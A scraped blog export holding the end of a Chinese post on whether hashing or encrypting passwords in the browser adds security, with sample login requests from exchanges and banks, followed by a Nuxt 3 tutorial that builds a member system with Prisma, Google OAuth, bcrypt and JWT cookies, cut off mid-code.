SRP（Secure Remote Password）的協議，Proton 有提供一個 ProtonMail Security Features and Infrastructure，裡面有記錄他們的安全措施，就有講到這個機制。\n看起來滿複雜要花不少時間研究，先放著，有興趣的可以參考：SRP — 更健全的登入及資料傳輸保護協議\n雖然更安全，但成本應該又更高了。\n交易所與銀行 看完上面案例發現有做的是少數，因此我好奇更注重安全的加密貨幣交易所與傳統銀行有沒有做。\nBinance API 網址：https://accounts.binance.com/bapi/accounts/v2/public/authcenter/login\n請求內容：\n1 2 3 4 5 { \u0026#34;email\u0026#34;:\u0026#34;test@test.com\u0026#34;, \u0026#34;password\u0026#34;:\u0026#34;fe2e6b4138fcd7f27a32bc9af557d69a\u0026#34;, \u0026#34;safePassword\u0026#34;:\u0026#34;d404559f602eab6fd602ac7680dacbfaadd13630335e951f097af3900e9de176b6db28512f2e000b9d04fba5133e8b1c6e8df59db3a8ab9d60be4b97cc9e81db\u0026#34; } Coinbase API 網址：https://login.coinbase.com/api/v1/authenticate-credentials\n請求內容：\n1 {\u0026#34;email\u0026#34;:\u0026#34;test@test.com\u0026#34;, \u0026#34;password\u0026#34;:\u0026#34;1234\u0026#34;} kraken API 網址：https://www.kraken.com/api/internal/account/settings/tfa\n請求內容：\n1 {\u0026#34;username\u0026#34;:\u0026#34;test\u0026#34;, \u0026#34;password\u0026#34;:\u0026#34;1234\u0026#34;} 玉山銀行 API 網址：https://ebank.esunbank.com.tw/fco/fco08001/FCO08001_Home.faces\n請求內容：\n1 2 3 loginform:custid=A0000... loginform:name=mxagZmaqygDx0XX6784Svw==__NgZQcFfAx+lQmPza2eNpOA== loginform:pxsswd=8,lIRnuUxw/yStOt9QIYG2U3Gn2XkG03x4Ey/UU6JGtsbUxfRXoAv9CjE3EWerDN3tfx3dD/B3ChLAPMSG2BA3jMXUCZC06y8UbQ5isKc9fCWZSSZAWWcOmJ7LdXw1ZhjV55hpw1upvAr9WEmZ0XF6x7if+dBxJ4KZ00d83qA9eA+3VaSk+JLhN8/CFBfTKTfJEs3PDNsm12XzRUBb4YE1aPQosVX10mdvh3zY5lmkrKuq8gnuImEf3oLOk4EF3eVpr6jJiFzMKlHybvGdtKYS25+pgTS68wn3v023barbSmgivcv5atm0XsyXWDY2dKEtdQz+7A6R+AB0bExbQlRjqQ== 國泰世華 API 網址：https://www.cathaybk.com.tw/MyBank/Quicklinks/Home/NormalSignin\n請求內容：\n1 2 3 CustID=A000... UserId=DC0C6E52BE2A2354C53401207F220F1B Password=8cf5e1977f149ed0362629007a7f91d0efc7b12cb1895ba701c528a12b38d12f8148ca03ee671fe25d2a3a807be980f7728566e359a675734ce046899b147658388bb60f9b900e2ccc9adac280b54b5f2e28cb7eee1b634d0e1ed1c0c0c598c350f61eb003405559331a7f047add7289466bf42cfd5b9e774a1fa116af4fd7050adb8f174d42a8e2098a014a788bd2ffae3bf4ff7a8d8d7e2e8068402fda395da41be6e5d32f2d32cbee2afc26e82c58b60357b5cb186a3b9cf69df2deb9da8c9fde45337935180cb4e177109413d7a758d38bfc8334a4509d8d8fb6a37080f0e0086b4a5ef68f7809ca2ef97183b7f66d996873bb7dbfcee61d2da424b8b968 中國信託 API 網址：https://www.ctbcbank.com/IB/api/adapters/IB_Adapter/resource/preLogin\n請求內容：\n1 2 3 4 5 6 7 { \u0026#34;rqData\u0026#34;: { \u0026#34;custId\u0026#34;: \u0026#34;A00....\u0026#34;, \u0026#34;pin\u0026#34;: \u0026#34;878dbee38bbb4d77a30ee128f55f7bfe2169e45380d62a75453d3ca175e8ce8b|43d0499147b62adeec4eef3c77d33171b4569d0bdf7bbbe2b8b9bde3d30a26aba69aadfb28dfbaa9a997a0ccf668aaab0b6da582275175272172569a58a60bbfc5ac3a8c6862ce31f86247d7c1adf307e363c0f251fb88c4d39afa6ed0ca0a49e053f4f90000fa77b4e78beaead72ebdf52a13ecb4f20ae9a532947fad8156d5ec69d6763243364e71659079e469d1e01d0c384b0c71f4e9e524890227d82a51a340ef0b48638e05e347d75cb93d4a825a2bce6a90ef47f512351ee2d0d1ea17fb8afd521e427578603ea775191711f81d8dcb18e46b72daf3a49a60e50d12d3887e3bafab3758730f7fb0276373ebe1da01a03162ec8e73a202091a51b7f88d\u0026#34;, \u0026#34;userId\u0026#34;: \u0026#34;bfcdb9b2d6896a3bfb4a6542e8fb2689486d000b11bdc0c7bc336a6534aec74c|1b1a758bb26702bc0ac7cd660da2a72866f2cfdcf3668f2d39a5f8b006854f52a08f418b0a460b36374f95b7a310d73ea9994788698041f524ecd1f153448ab5d51f901a9a08ac2a9ee04c5c273ecb9d4ec1b6a62e9696c6126271e2f8c334fe17ce8b8538139363b90be75c1130cb251ec240bd26c920b52f5be9fc59094ce7d935d826242d69dc1ff7047a5abbf11d3c7de639a14bb10230912903cd948c05b3b3cb0cdb100f979640e291774e623a7109bde7b55bb8a6a373c0ca12820b072132ea61c845e60e26d09c7ee0fe23f7de286cbccb067a86fd1985c5b455f9ae46ce24dc8f52bcb05c205d6a462345162ae82c35e045bf3fd43a297c3edcfe17\u0026#34; } } 美國銀行 API 網址：https://m.globalcard.bankofamerica.com/pkmslogin.form\n請求內容：\n1 2 username=fcc63767-1a43-4cc6-8c3e-1346350b5274 password=12345678 新加坡星展銀行 API 網址：https://internet-banking.dbs.com.sg/IB/Welcome\n請求內容：\n1 2 USER_LOGON_NAME=test123 ENCRYPTED_PIN_BLOCK=A8C48B7572A1A53C5A66E9B43365027C7FBF14BF461F480A46781E49648A8F70271A29C374F86FCD55A76ED17B2284B47C799B74475F29749D68631FF7E322177A21EEE8C41D8950638A2828C34A2653D7C9F69F5DA568E42D64CE89FCE8F024217B235835E6F8BC3C536F56361EDF459AFCE9A512BDBACAB2D25423209996C2E84A18EA8446685DAF9FAD4B1D6D8DF0F378EC27D9A81AD4D1A2B91BA3CFD838140A9BD48AD8D38D33B0093110BD1CA2C76F3DE4CBD969A9B0260DB890E9B1A99DC1193BFE9A1EDB3E56F71CB1CD8630558B242B040F733A4A40B2E17DE6DA03A58DEC8BB12DA87BB25971E2DBE5AF7AE6112266A3F9027B449BDF46D8DC0A1A 結論 在隨機想到的 20 個網站中，有 7 個有在前端做加密或是 hash（我懶得看是哪個了，總之有做事就對了），名單是：\nFacebook Proton Binance 玉山銀行 國泰世華 中國信託 新加坡星展銀行 雖然說 35% 看起來很高，但那是因為銀行佔了大多數，一般網站則是很少實作這個機制。\n寫到這邊，可以來下結論了。\n第一個結論是： 「在 client 端傳送密碼前先把密碼加密或是 hash，確實能夠增加安全性」\n理由是做了以後，能夠達成以下事項：\nHTTPS 因為各種原因失效時，攻擊者無法取得明文密碼 在 Server 端，沒有任何人知道使用者的明文密碼 明文密碼不會因為人為失誤被記錄到 log 中 以上都是沒有在 client 加密或是 hash 時做不到的。\n第二個結論是： 「確實有些大公司有做這個機制，但是非大多數，不過在銀行業似乎是主流」\n這個結論上面有貼完整的資料了，一般的網站很少做這個機制，但還是有人做。\n第三個結論是： 「雖然從技術上來看能夠增加安全性，但實際上是否實作，仍然要考慮其他因素」\n這因素就是我前面提過的「可能性」還有開頭我講先不談的「成本」。\n若是真的比較安全，為什麼一般網站不會實作這個機制？\n或許是因為覺得 HTTPS 被攻破的可能性太低，低到可以忽略不計（我相信這是大多數留言的人覺得不需要做的理由，我也同意這點），也或許是成本太高，會增加程式碼複雜度；若是採用加密的方案，也會消耗更多運算的資源在加解密上面，這也是成本。\n這就是我覺得應該講清楚的地方。\n在前端先做 hash 或是加密，它確實是有優點的，不是多此一舉，也不是沒有意義，更不是讓系統變得更危險。\n但這不代表每個系統都該實作這個機制，因為它帶來的效益或許沒有成本高，這個端看各個公司的考量。對大部分的公司來說，與其為了 HTTPS 失效這個極低的可能性去投入成本，不如把時間花在加強其他登入環節的安全性（例如說 2FA 啦，或是不同裝置登錄警告等等），帶來的效益會更高。\n有些服務還會選擇把整包 request 都加密，而非只有密碼，這個又更安全但是成本又更高，而且 debug 很不方便。雖然說既然加密做在 client 端，攻擊者一定有辦法逆向這個機制，看出是怎麼做的，但這不代表這些機制沒幫助。\n舉例來說，假設我有個搶票 App 不想讓別人知道 API 怎麼呼叫，於是就實作了一個超複雜的加解密機制，儘管高手還是可以做逆向工程，寫出一個搶票機器人，但這個機制增加了他的時間成本以及對技術的要求。\n以技術上來說，就算理論上一定會被破解，這些機制還是有意義的，它的意義在於增加破解難度，加殼、混淆都是一樣的，不會因為「在 client 端的東西一定會被看穿」而不去做這些機制。\n重點在於你想保護的商業邏輯的價值，有沒有高到你需要付出這些成本去做額外的安全機制。\n最後，如果你需要一個條列式的簡單結論，會是：\n無論如何，一定要先用 HTTPS 在前端先把密碼做加密或是 hash 後再傳送，能夠增加安全性，但同時也帶來不少成本 如果你是銀行或需要同等安全性，再來考慮要不要做這個，否則極大多數的狀況下，你不需要這個機制就夠安全了，資源投入在其他地方的效益會更大 若是對這個結論有不同意見，或是有在文章中發現哪些邏輯錯誤或技術錯誤，歡迎留言指正與討論，感恩。\n補充一下，這篇大多數從技術面來看，除此之外還可以從法遵面或是資安的實務經驗來看，但這些面向我就零經驗了。許願一下有相關經驗的人出來指點迷津，或許會有不同觀點。\n","date":"2023-01-17T00:00:00Z","image":"https://live.staticflickr.com/65535/52634831533_259566b84f_o.jpg","permalink":"https://blog.wayne-project.com/2023-01-17/why-encrypt-in-client/","title":"網站前端打 API 時把密碼加密，有意義嗎？"},{"content":" 參考網站\n參考網站\n參考網站\n大家經過 【Nuxt3】開箱即用的 Nuxt3 玩轉筆記 這篇文章，應該對於 Nuxt 3 有初步的理解，接下來我們將進入實戰部分，我將會以 Nuxt 3 來實作部落格網站，讓已經註冊的使用者可以在網站上發布文章，實作這個網站的程式碼可能不會講解得非常仔細，但一些實務開發上會需要注意的細節我會把個人經驗做一個紀錄，大家可以再參考看看，文末也都會附上完整的範例程式。接下來，讓我們開始吧！\n資料庫與會員系統 資料庫 (Database) 這篇文章實作的部落格，會把會員與文章等資料儲存於伺服器的資料庫之中，大家可以選擇自己習慣或合適的資料庫來做儲存。為了方便及後續的展示，我最終決定使用 Prisma 搭配本地的 SQLite 來當作儲存體，讓大家測試時不用再煩惱怎麼架設資料庫，可以快速的執行範例程式碼。\n你可以在自己的 Nuxt 專案或從新專案開始進行，若你已經有自己的資料庫，也可以直接跳過此段介紹後續實作自己的後端 API 來接續我們的實作系列。\n安裝 Prisma Prisma 操作起來很像 ORM (Object-Relational Mapping)，但實際上依據官網的說明，其實不大依樣，Prisma 透過撰寫並根據 Schema 來建立或操作資料庫，在進行 CRUD 的操作時，都是透過 Prisma Client 進行，這也是最方便的地方，此外也支援多種資料庫的來源，只要操作 Model 就可以映射到資料庫的資料，不再需要寫 SQL，在一些情境之下是非常方便的。\n首先，使用 NPM 安裝 prisma 與 @prisma/client\n1 2 3 npm install -D prisma @prisma/client # or # yarn add -D prisma @prisma/client 打開終端機 (Terminal) 於 Nuxt 專案目錄中， 使用下列指令，初始化一個 Prisma 的 Schema。\n1 npx prisma ini 初始化完成後，會建立一個 schema.prisma 檔案。\n./prisma/schema.prisma 檔案內容如下，這裡就是定義我們資料庫位置與 Schema 的地方，之後我們就可以透過 Prisma 的 Client 使用 ORM 來操作資料庫。\nprisma/schema.prisma 1 2 3 4 5 6 7 8 9 10 11 // This is your Prisma schema file, // learn more about it in the docs: https://pris.ly/d/prisma-schema generator client { provider = \u0026#34;prisma-client-js\u0026#34; } datasource db { provider = \u0026#34;postgresql\u0026#34; url = env(\u0026#34;DATABASE_URL\u0026#34;) } 我們調整 ./prisma/schema.prisma 檔案內容，將 datasource 替換為 SQLite 並儲存在本地的 ./dev.db。\n1 2 3 4 datasource db { provider = \u0026#34;sqlite\u0026#34; url = \u0026#34;file:./dev.db\u0026#34; } 你也可以將 provider 替換為 PostgreSQL 或 MySQL 等，可以參考這裡，但要注意可能後面定義的 Schema 語法會略微不同。\n接下來我們定義一個 User 的資料表，在 schema.prisma 撰寫如下：\n1 2 3 4 5 6 7 8 9 10 11 12 model User { id String @id @default(uuid()) providerName String? providerUserId String? nickname String @default(\u0026#34;User\u0026#34;) email String @unique password String? avatar String? emailVerified Boolean @default(false) createdAt DateTime @default(now()) updatedAt DateTime @updatedAt } 這張 User 資料表，將用作於部落格的登入使用者做使用，也可以視為是會員系統使用的資料表，大家也可以依據需求來擴增欄位，以下稍微講述一下各個欄位將作為何用。\nid: 預設為 UUID，為使用者的唯一識別。 providerName: 作為第三方登入的供應商記錄使用，例如該名使用者使用 Google OAuth 註冊登入，我會在欄位就會填上 google。如果為空值 (null) 表示使用者用電子信箱註冊登入。 providerUserId: 與 providerName 搭配使用，第三方供應商通常也會有一組專屬於使用者的 Id，以此我們就可以來比對登入的是哪位使用者。如果為空值 (null) 表示使用者用電子信箱註冊登入。 nickname: 使用者暱稱，預設值為字串 User。 email: 使用者登入的電子信箱，這裡我將欄位設定為 @unique 表示，電子信箱是系統中唯一。 password:使用者密碼的雜湊值，如果使用第三方註冊登入，則該欄位為 空值 (null)。 avatar: 使用者的頭像，存放圖片網址。 emailVerified: 布林值，預設為 false，表示使用者的電子信箱是尚未通過驗證。 createdAt: 使用者建立時間，預設為插入該筆資料的時間。 updatedAt: 使用者更新個人資料的時間，預設為更新該筆資料的時間。 ./prisma/schema.prisma 檔案內容看起來如下：\nprisma/schema.prisma 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 // This is your Prisma schema file, // learn more about it in the docs: https://pris.ly/d/prisma-schema generator client { provider = \u0026#34;prisma-client-js\u0026#34; } datasource db { provider = \u0026#34;sqlite\u0026#34; url = \u0026#34;file:./dev.db\u0026#34; } model User { id String @id @default(uuid()) providerName String? providerUserId String? nickname String @default(\u0026#34;User\u0026#34;) email String @unique password String? avatar String? emailVerified Boolean @default(false) createdAt DateTime @default(now()) updatedAt DateTime @updatedAt } 當我們調整好 schema 後，就可以執行下列指令，來初始化資料庫，Prisma 會依照 schema.prism 來幫我們建立對應的資料表。\n1 npx prisma db push 初始化完畢後，你可以登入你的資料庫查看是否建立成功，也可使用 Prisma 提供的 Prisma Studio 來快速的檢視與操作資料庫內的資料。Prisma Studio 已經內建在 prisma 套件中，執行以下指令後，就會啟動一個 Web 服務，如 http://localhost:5555，我們就可以在網頁中查看資料庫內的資料囉！\n1 npx prisma studio 可以在 Prisma Studio 看到我們建立的 User 資料表，也將是我們稍後使用 Prisma 操作 ORM 所對應的 User Model。\n最後記得執行下列指令來產生 Prisma Client，這樣我們就可以在 Nuxt 3 中使用 Prisma Client 操作資料庫囉！\n1 npx prisma generate Nuxt 3 操作 Prisma Client 建立一個使用者至資料庫 我們接下來就能使用如下程式碼建立 Prisma Client，後續可以用來來操作 Model，更多的 Prisma Client API 可以參考官方文件。\n1 2 3 import { PrismaClient } from \u0026#39;@prisma/client\u0026#39; const prismaClient = new PrismaClient() 我們建立一隻 Server API，新增 ./server/api/test-create-user.get.js，用來測試收到請求後建立一個測試使用者，詳細的程式碼如下：\nserver/api/test-create-user.get.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import { PrismaClient } from \u0026#39;@prisma/client\u0026#39; const prismaClient = new PrismaClient() export default defineEventHandler(() =\u0026gt; { const user = prismaClient.user.create({ data: { providerName: null, providerUserId: null, nickname: \u0026#39;Ryan\u0026#39;, email: \u0026#39;ryanchien8125@gmail.com\u0026#39;, password: \u0026#39;這裡要放密碼的雜湊值\u0026#39;, avatar: \u0026#39;\u0026#39;, emailVerified: true } }) return user }) 當我們送出 /api/test-create-user 後，後端會使用 Prisma Client 操作 User Model，我們就能使用 ORM 來建立出使用者的資料庫記錄。\nNuxt 3 使用者註冊帳號 我們將 【Nuxt3】開箱即用的 Nuxt3 玩轉筆記 這篇文章，所串接的 Google OAuth 及 Cookie 做一個結合，讓使用者透過 Google Auth 登入後可以自動的註冊建立使用者或登入產生 Access Token。\n./server/api/auth/google.post.js 程式碼如下：\nserver/api/auth/google.post.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 import { OAuth2Client } from \u0026#39;google-auth-library\u0026#39; import jwt from \u0026#39;jsonwebtoken\u0026#39; import db from \u0026#39;@/server/db\u0026#39; const runtimeConfig = useRuntimeConfig() export default defineEventHandler(async (event) =\u0026gt; { const body = await readBody(event) const oauth2Client = new OAuth2Client() oauth2Client.setCredentials({ access_token: body.accessToken }) const userInfo = await oauth2Client .request({ url: \u0026#39;https://www.googleapis.com/oauth2/v3/userinfo\u0026#39; }) .then((response) =\u0026gt; response.data) .catch(() =\u0026gt; null) oauth2Client.revokeCredentials() if (!userInfo) { throw createError({ statusCode: 400, statusMessage: \u0026#39;Invalid token\u0026#39; }) } let userRecord = await db.user.getUserByEmail({ email: userInfo.email }) if (userRecord) { if ( (userRecord.providerName === \u0026#39;google\u0026#39; \u0026amp;\u0026amp; userRecord.providerUserId === userInfo.sub) === false ) { throw createError({ statusCode: 400, statusMessage: \u0026#39;This email address does not apply to this login method\u0026#39; }) } } else { userRecord = await db.user.createUser({ providerName: \u0026#39;google\u0026#39;, providerUserId: userInfo.sub, nickname: userInfo.name, email: userInfo.email, password: null, avatar: userInfo.picture, emailVerified: userInfo.email_verified }) } const jwtTokenPayload = { id: userRecord.id } const maxAge = 60 * 60 * 24 * 7 const expires = Math.floor(Date.now() / 1000) + maxAge const jwtToken = jwt.sign( { exp: expires, data: jwtTokenPayload }, runtimeConfig.jwtSignSecret ) setCookie(event, \u0026#39;access_token\u0026#39;, jwtToken, { httpOnly: true, maxAge, expires: new Date(expires * 1000), secure: process.env.NODE_ENV === \u0026#39;production\u0026#39;, path: \u0026#39;/\u0026#39; }) return { id: userRecord.id, provider: { name: userRecord.providerName, userId: userRecord.providerUserId }, nickname: userRecord.nickname, avatar: userRecord.avatar, email: userRecord.email } }) 程式碼內容稍微有一點多，但講解一下流整與概念：\n當前端 Google OAuth 登入成功後，將回傳的 Google access_token 傳送至這隻 API，並使用 Google API 取得使用者資訊。 db.user.getUserByEmail 這個是我封裝的方法，裡面對應著 Prisma 的 ORM 操作，如果你想也可以在這邊替換你的資料庫操作邏輯，主要這個方法，就是依照使用者的 Email 回傳資料庫內是否存在一筆符合的使用者記錄。 如果存在，我會判斷 provider 是否符合 Google 的使用者資訊，否則判斷為應該是用電子信箱註冊的使用者。 如果不存在，則建立一個新的使用者至資料庫內，建立時不需要傳入 id 資料庫因為設定為自動產生 UUID。 最後就是產生使用者的 JWT 並設定在 cookie 之中。 另外，我也實作了使用電子信箱直接註冊的方式，./server/api/auth/register.post.js 程式碼如下：\nserver/api/auth/register.post.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import bcrypt from \u0026#39;bcrypt\u0026#39; import db from \u0026#39;@/server/db\u0026#39; export default defineEventHandler(async (event) =\u0026gt; { const body = await readBody(event) let userRecord = await db.user.getUserByEmail({ email: body.email }) if (userRecord) { throw createError({ statusCode: 400, statusMessage: \u0026#39;A user with that email address already exists\u0026#39; }) } userRecord = await db.user.createUser({ providerName: null, providerUserId: null, nickname: body.nickname, email: body.email, password: bcrypt.hashSync(body.password, 10), avatar: null, emailVerified: false }) return { id: userRecord.id, nickname: userRecord.nickname, email: userRecord.email } }) 使用電子信箱與密碼註冊的流程很簡單，就是判斷是否存在相同信箱的使用者，不存在的話就為它建立一筆紀錄。\n這邊要注意的是，會員系統或牽扯到帳號密碼相關的，請一律使用雜湊演算法，例如 BCrypt 或 Argon2，為使用者的密碼做 Hash，不要再存明碼在資料庫之中囉，以免發生資安事件時，造成不可挽回的悲劇。\n順便也實作一下使用電子信箱與密碼登入的 API，./server/api/auth/login.post.js 程式碼如下：\nserver/api/auth/login.post.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import bcrypt from \u0026#39;bcrypt\u0026#39; import jwt from \u0026#39;jsonwebtoken\u0026#39; import db from \u0026#39;@/server/db\u0026#39; const runtimeConfig = useRuntimeConfig() export default defineEventHandler(async (event) =\u0026gt; { const body = await readBody(event) const userRecord = await db.user.getUserByEmail({ email: body.email }) if (!userRecord) { throw createError({ statusCode: 400, statusMessage: \u0026#39;Email or password is incorrect\u0026#39; }) } if ((await bcrypt.compare(body.password, userRecord.password)) !== true) { throw createError({ statusCode: 400, statusMessage: \u0026#39;Email or password is incorrect\u0026#39; }) } const jwtTokenPayload = { id: userRecord.id } const maxAge = 60 * 60 * 24 * 7 const expires = Math.floor(Date.now() / 1000) + maxAge const jwtToken = jwt.sign( { exp: expires, data: jwtTokenPayload }, runtimeConfig.jwtSignSecret ) setCookie(event, \u0026#39;access_token\u0026#39;, jwtToken, { httpOnly: true, maxAge, expires: new Date(expires * 1000), secure: process.env.NODE_ENV === \u0026#39;production\u0026#39;, path: \u0026#39;/\u0026#39; }) return { id: userRecord.id, provider: { name: userRecord.providerName, userId: userRecord.providerUserId }, nickname: userRecord.nickname, avatar: userRecord.avatar, email: userRecord.email } }) 使用 Google OAuth 登入 使用電子信箱與密碼登入 結合 Pinia 儲存使用者資料 我們可以結合 Pinia 來將使用者的資料持久話儲存在 Local Storage 之中，這樣就可以在前端儲存使用者登入的狀態，例如導覽列的頭像、信箱，就可以從 Store 中拿出來囉。\n建立 ./server/profile.get.js 檔案，用來取得使用者資料：\nserver/profile.get.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import jwt from \u0026#39;jsonwebtoken\u0026#39; import db from \u0026#39;@/server/db\u0026#39; const runtimeConfig = useRuntimeConfig() export default defineEventHandler(async (event) =\u0026gt; { const jwtToken = getCookie(event, \u0026#39;access_token\u0026#39;) let userInfo = null try { const { data } = jwt.verify(jwtToken, runtimeConfig.jwtSignSecret) userInfo = data } catch (e) { throw createError({ statusCode: 401, statusMessage: \u0026#39;Unauthorized\u0026#39; }) } if (!userInfo?.id) { throw createError({ statusCode: 401, statusMessage: \u0026#39;Unauthorized\u0026#39; }) } const userRecord = await db.user.getUserById({ id: userInfo.id }) if (!userRecord) { throw createError({ statusCode: 400, statusMessage: \u0026#39;Could not find user.\u0026#39; }) } return { id: userRecord.id, provider: { name: userRecord.providerName, userId: userRecord.providerUserId }, nickname: userRecord.nickname, avatar: userRecord.avatar, email: userRecord.email } }) 新增一個 user 的 store，./stores/user.js 內容如下：\nstores/user.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import { defineStore } from \u0026#39;pinia\u0026#39; export const useUserStore = defineStore(\u0026#39;user\u0026#39;, { state: () =\u0026gt; ({ profile: { id: null, provider: { name: null, userId: null }, nickname: null, avatar: null, email: null } }), actions: { async refreshUserProfile() { const { data, error } = await useFetch(\u0026#39;/api/user/profile\u0026#39;, { initialCache: false }) if (data.value) { this.profile = data.value } else { return error.value?.data?.message ?? \u0026#39;未知錯誤\u0026#39; } } }, persist: { enabled: true, strategies: [ { key: \u0026#39;user\u0026#39;, storage: process.client ? localStorage : null } ] } }) 我們就可以直接使用 refreshUserProfile() 來發送請求至 /api/user/profile 取得最新的使用者資料來更新 store。\n1 2 3 4 import { useUserStore } from \u0026#39;@/stores/user\u0026#39; const userStore = useUserStore() userStore.refreshUserProfile() 使用伺服器中間件來驗證 JWT 我們的會員系統在登入後，會產生一組 JWT 放置於 cookie 之中，在後端 API 使用時都要在呼叫 getCookie() 來解析 cookie，所以我們可以將驗證 JWT 的流程，放置在伺服器中間件 (middleware) 之中，後端收到的每個請求就會經過這個中間件，只要有夾帶 access_token 的 cookie 就會進行驗證解析出 JWT 所含的 payload id，即為使用者的 ID。\n建立 ./server/middleware/auth.js 檔案，內容如下：\nserver/middleware/auth.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import jwt from \u0026#39;jsonwebtoken\u0026#39; const runtimeConfig = useRuntimeConfig() export default defineEventHandler((event) =\u0026gt; { const jwtToken = getCookie(event, \u0026#39;access_token\u0026#39;) if (!jwtToken) { return } let userInfo = null try { const { data } = jwt.verify(jwtToken, runtimeConfig.jwtSignSecret) userInfo = data if (userInfo?.id) { event.context.auth = { user: { id: userInfo.id } } } } catch (e) { console.error(\u0026#39;Invalid token\u0026#39;) } }) 伺服器的中間件只要定義在 ./server/middleware 目錄下就會自動被載入，之後在每個 Server API 收到請求，中間件只要有成功驗證並解析 JWT，就會在 event.context.auth 添加使用者資訊，之後在 Server API 的處理函數中，就可以以下列程式碼進行使用。\n1 2 3 export default defineEventHandler(async (event) =\u0026gt; { const user = event.context?.auth?.user }) 調整後的 ./server/profile.get.js 檔案，就會乾淨許多囉！\nserver/profile.get.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import db from \u0026#39;@/server/db\u0026#39; export default defineEventHandler(async (event) =\u0026gt; { const user = event.context?.auth?.user if (!user?.id) { throw createError({ statusCode: 401, statusMessage: \u0026#39;Unauthorized\u0026#39; }) } const userRecord = await db.user.getUserById({ id: user.id }) if (!userRecord) { throw createError({ statusCode: 400, statusMessage: \u0026#39;Could not find user.\u0026#39; }) } return { id: userRecord.id, provider: { name: userRecord.providerName, userId: userRecord.providerUserId }, nickname: userRecord.nickname, avatar: userRecord.avatar, email: userRecord.email } }) 為了實作部落格，我們使用 Prisma 快速的建立資料庫環境，也方便大家可以下載範例程式碼，就可以在自己的電腦上運作 SQLite。也結合 Pinia 來將使用者的資料進行持久化的儲存，這樣我們就可以實作出如判斷使用者是否登入或是建立導覽列上的登入狀態。\n範例程式碼 - Nuxt 3 - 實作部落格資料庫與會員系統\n導覽列模板與新增文章 上面我們完成了基本的會員登入，接下來將進入網站的切版，以下會使用布局模板來實現，上方導覽列與下方顯示網站內容的排版方式，接下來就會快速的進入到新增一篇部落格的文章，該如何實現 Server API 與前端進行串接。\n預設布局模板 首先，建立一個預設布局模板，我們預計使每個頁面於上方顯示導覽列，下方則是依據不同的頁面來顯示，大概如下所示。\n1 2 3 4 5 6 7 8 9 10 11 +---------------------------+ | +-----------------------+ | | | 導覽列 | | | +-----------------------+ | | +-----------------------+ | | | 不同頁面的內容顯示的位置 | | | | | | | | | | | | | | | +-----------------------+ | +---------------------------+ 我們可以建立一個 default.vue 於 layouts 目錄中，作為預設的佈局模板，模板內約會實作下面的程式碼：\n1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;header\u0026gt; \u0026lt;!-- 導覽列 --\u0026gt; \u0026lt;/header\u0026gt; \u0026lt;slot /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;header\u0026gt; 裡面就是我們可以實作導覽列的位置，下方的 \u0026lt;slot /\u0026gt; 插槽，即會是我們可以放置頁面的容器。\n完整的 ./layouts/default.vue 程式碼如下：\nlayouts/default.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;header class=\u0026#34;flex w-full justify-center px-8 xl:px-0\u0026#34;\u0026gt; \u0026lt;nav class=\u0026#34;flex w-full max-w-7xl items-center justify-between py-2\u0026#34;\u0026gt; \u0026lt;div\u0026gt; \u0026lt;a aria-label=\u0026#34;TailwindBlog\u0026#34; href=\u0026#34;/\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex items-center justify-between\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;mr-3\u0026#34;\u0026gt; \u0026lt;Icon class=\u0026#34;h-12 w-12\u0026#34; name=\u0026#34;logos:nuxt-icon\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;hidden h-6 text-2xl font-semibold text-gray-700 sm:block\u0026#34;\u0026gt; Nuxt 3 Blog \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;flex items-center text-base leading-5\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-row items-center\u0026#34;\u0026gt; \u0026lt;NuxtLink class=\u0026#34;px-3 py-2 text-gray-700 transition hover:text-emerald-500\u0026#34; to=\u0026#34;/login\u0026#34; \u0026gt; 登入 \u0026lt;/NuxtLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/nav\u0026gt; \u0026lt;/header\u0026gt; \u0026lt;slot /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import { useUserStore } from \u0026#39;@/stores/user\u0026#39; const userStore = useUserStore() const userProfile = computed(() =\u0026gt; userStore.profile) \u0026lt;/script\u0026gt; 接著記得調整 app.vue 內容，添加一個 \u0026lt;NuxtLayout\u0026gt; 元件來顯示預設的布局模板，包裹著的 \u0026lt;NuxtPage /\u0026gt; 即會放置於 default.vue 預設插槽之中，如此就能顯示路由的頁面。\n1 2 3 4 5 \u0026lt;template\u0026gt; 